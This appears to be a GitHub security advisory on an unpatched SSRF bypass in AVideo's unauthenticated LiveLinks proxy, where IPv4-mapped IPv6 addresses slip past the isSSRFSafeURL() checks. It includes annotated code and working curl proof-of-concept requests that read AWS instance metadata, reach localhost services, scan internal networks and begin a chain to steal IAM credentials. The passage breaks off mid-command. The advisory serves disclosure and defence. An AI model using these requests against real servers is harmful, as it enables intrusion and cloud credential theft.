GitHub Security Advisory: GHSA-p3gr-g84w-g8hh
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 8.6)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has a SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in Unauthenticated LiveLinks Proxy

Details:
## Summary

The `isSSRFSafeURL()` function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`). The unauthenticated `plugin/LiveLinks/proxy.php` endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services.

## Details

The `isSSRFSafeURL()` function in `objects/functions.php` (lines 4021-4169) implements SSRF protection with two separate check paths:

1. **IPv4 checks** (lines 4101-4134): Regex patterns matching dotted-decimal notation (`/^10\./`, `/^172\./`, `/^192\.168\./`, `/^127\./`, `/^169\.254\./`)
2. **IPv6 checks** (lines 4150-4166): Checks for `::1`, `fe80::/10` (link-local), and `fc00::/7` (unique local)

The gap: IPv4-mapped IPv6 addresses (`::ffff:0:0/96`) are not checked in either path. When a URL like `http://[::ffff:169.254.169.254]/` is provided:

```
// Line 4038: parse_url strips brackets from IPv6 host
$host = parse_url($url, PHP_URL_HOST);
// $host = "::ffff:169.254.169.254"

// Line 4079: filter_var recognizes it as valid IPv6, skips DNS resolution
if (!filter_var($host, FILTER_VALIDATE_IP)) {
    $resolvedIP = gethostbyname($host);  // SKIPPED
}
$ip = $host;  // $ip = "::ffff:169.254.169.254"

// Lines 4101-4134: IPv4 regex checks DON'T match (not dotted-decimal)
if (preg_match('/^169\.254\.\d{1,3}\.\d{1,3}$/', $ip))  // NO MATCH

// Lines 4150-4166: IPv6 checks don't cover ::ffff: prefix
if ($ip === '::1' || ...)                    // NO MATCH
if (preg_match('/^fe[89ab][0-9a-f]:/i', $ip))  // NO MATCH
if (preg_match('/^f[cd][0-9a-f]{2}:/i', $ip))  // NO MATCH

// Line 4168: returns TRUE — bypass complete
return true;
```

The vulnerable endpoint `plugin/LiveLinks/proxy.php` explicitly disables authentication:

```php
// proxy.php lines 2-3
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
```

After the bypass, two requests are made to the attacker-controlled URL:
1. `get_headers()` at line 40 (via stream context)
2. `fakeBrowser()` at line 63 (via curl) — response content is echoed back to the attacker (lines 69-80)

## PoC

**Read AWS instance metadata (IAM credentials):**

```bash
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/'
```

**Access localhost services:**

```bash
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:127.0.0.1]:3306/'
```

**Scan internal network:**

```bash
curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:10.0.0.1]/'
```

**Steal AWS IAM role credentials (full chain):**

```bash
# Step 1: Get IAM role name
ROLE=$(curl -s 'https://target.com/plugin/LiveLinks/proxy.php?livelink=http://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/')

# Step 2: Get temporary credentials for the role
curl -s "https://target.com/plugin/LiveLinks/proxy.php?li